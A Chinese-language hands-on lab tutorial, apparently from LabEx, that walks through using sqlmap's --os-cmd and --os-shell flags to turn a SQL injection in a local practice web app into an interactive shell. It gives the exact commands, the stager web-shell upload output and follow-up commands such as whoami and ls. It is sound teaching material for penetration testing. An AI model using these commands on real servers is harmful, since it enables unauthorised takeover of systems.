使用 sqlmap 获取交互式操作系统 Shell

Kali LinuxBeginner
立即练习

引言

在本实验中,你将学习如何使用 sqlmap,一个流行的开源渗透测试工具,将 SQL 注入漏洞升级为完整的交互式操作系统 shell。虽然 sqlmap 在枚举和提取数据库数据方面非常出色,但其功能还可以扩展到控制底层服务器。

我们将重点关注 --os-shell 功能,该功能会尝试将一个 Web shell(一个 stager)上传到目标服务器,为你提供一个命令提示符,以便直接与远程系统进行交互。在本实验中,一个易受 SQL 注入攻击的简单 Web 应用程序已经设置好并在你的本地机器上运行。

确认操作系统命令执行可行性

在此步骤中,在尝试获取完整的交互式 shell 之前,我们将首先验证我们是否可以在目标操作系统上执行命令。这是一个至关重要的初步检查。我们可以使用 sqlmap 中的 --os-cmd 标志来实现这一点,该标志指示工具执行单个指定的命令。

我们将使用 whoami 命令,该命令会打印当前用户的有效用户名。我们还将使用 --batch 标志让 sqlmap 以其对所有交互式问题的默认回答运行,从而加快进程。

在你的终端中执行以下命令:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch

你将看到 sqlmap 测试目标的大量输出。等待其完成。在输出的末尾,你应该会看到 whoami 命令的结果。

...
[22:10:30] [INFO] fetching command output
[22:10:30] [INFO] retrieved: 'labex\n'
...
command execution stdout:
labex
...

输出 labex 确认我们能够以用户 labex 的身份在远程服务器上成功执行命令。

使用 --os-shell 标志请求交互式 Shell

在此步骤中,我们将准备获取完整交互式 shell 的命令。既然我们已经确认了操作系统命令执行的可行性,我们就可以更有信心地继续进行。

sqlmap 中用于此目的的标志是 --os-shell。当使用此标志时,sqlmap 将尝试将一个“stager”(一小段代码,在此例中是一个 PHP Web shell)上传到 Web 服务器上的一个可写目录。然后,这个 stager 将提供一个交互式命令 shell 的机制。

我们将使用的命令是:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

在下一步运行此命令时,sqlmap 将引导你完成一些提示,以确定上传 stager 的最佳方式。我们不会在此步骤中运行命令,而只是理解其目的。

执行命令以启动 Shell

在此步骤中,你将执行命令来启动交互式 Shell。sqlmap 会询问你的输入,以确定 Web 应用程序的语言和服务器的文档根目录(网站的主文件夹)。

首先,在你的终端中运行命令:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

sqlmap 将启动,并可能询问你几个问题。

  1. 它可能会询问后端 DBMS。你可以按 Enter 接受它可能已经检测到的默认值(例如,SQLite)。

  2. 然后它会询问 Web 服务器文档根目录。这是一个关键步骤。sqlmap 需要知道一个可写的目录来上传其 Web shell。根据我们的设置脚本,正确的路径是 /home/labex/project/vulnerable_app

    [?] what is the web server document root? [/var/www/html] >

    输入以下路径并按 Enter

    /home/labex/project/vulnerable_app

在你提供路径后,sqlmap 将尝试上传 stager。如果成功,你将看到指示上传的消息,并进入一个新的提示符:os-shell>

...
[22:15:45] [INFO] trying to upload stager shell to '/home/labex/project/vulnerable_app'
[22:15:45] [INFO] uploading stager shell to '/home/labex/project/vulnerable_app/tmpueyge.php'
[22:15:45] [INFO] stager shell uploaded
os-shell>

这个 os-shell> 提示符就是你在远程服务器上的交互式 Shell。

通过 sqlmap Shell 提示符与远程系统交互

在此步骤中,你将使用刚刚获得的 os-shell> 提示符与远程系统进行交互。这个提示符不是你的本地终端;你在这里输入的每个命令都会被发送到远程服务器并执行。

让我们运行几个简单的命令来验证我们的访问权限。

首先,在远程服务器上输入 pwd 并按 Enter,以查找当前工作目录。

os-shell > pwd

输出应该是 sqlmap 上传其 stager 文件的目录。

/home/labex/project/vulnerable_app

接下来,通过输入 whoami 再次确认你在远程系统上的用户身份。

os-shell > whoami

输出应该再次是 labex

labex

你现在已经成功地在目标系统上交互式地执行了命令。

执行多个命令并探索文件系统

在此步骤中,你将对远程文件系统进行进一步的探索。交互式 Shell 非常强大,因为它允许你导航目录、查看文件并了解服务器的布局。

首先,使用 ls -l 命令以长格式列出当前目录(/home/labex/project/vulnerable_app)的内容。

os-shell > ls -l

你将看到此目录中的文件,包括 index.phpusers.db 以及 sqlmap 上传的临时 PHP Web shell(例如 tmpueyge.php)。

total 20
-rw-r--r-- 1 labex labex  539 Dec 10 22:05 index.php
-rw-r--r-- 1 labex labex   45 Dec 10 22:15 tmpueyge.php
-rw-r--r-- 1 labex labex 12288 Dec 10 22:05 users.db

现在,让我们尝试导航文件系统。使用 cd .. 命令向上移动到父目录(/home/labex/project)。

os-shell > cd ..

你不会看到任何输出,但你在远程服务器上的当前目录已更改。通过列出新目录的内容来验证这一点。

os-shell > ls

你应该会看到列出的 vulnerable_app 目录。

vulnerable_app

你现在可以自由地在 labex 用户的权限范围内探索文件系统。要退出 sqlmap shell 并返回到你的正常终端,只需键入 exit 并按 Enter

总结

在此次实验中,你成功地将 SQL 注入漏洞升级,获得了对远程服务器的完全命令行访问权限。你已学会如何:

  • 使用 sqlmap 的 --os-cmd 标志来确认操作系统命令执行是可行的。
  • 使用 --os-shell 标志指示 sqlmap 建立一个交互式 Shell。
  • 提供必要的信息,例如 Web 服务器的文档根目录,以方便上传 Web Shell。
  • 通过 sqlmap Shell 执行 pwdwhoamilscd 等命令与远程系统进行交互。

这个练习展示了 SQL 注入漏洞带来的严重安全风险,因为它们不仅可能导致数据泄露,还可能导致整个系统被完全攻陷。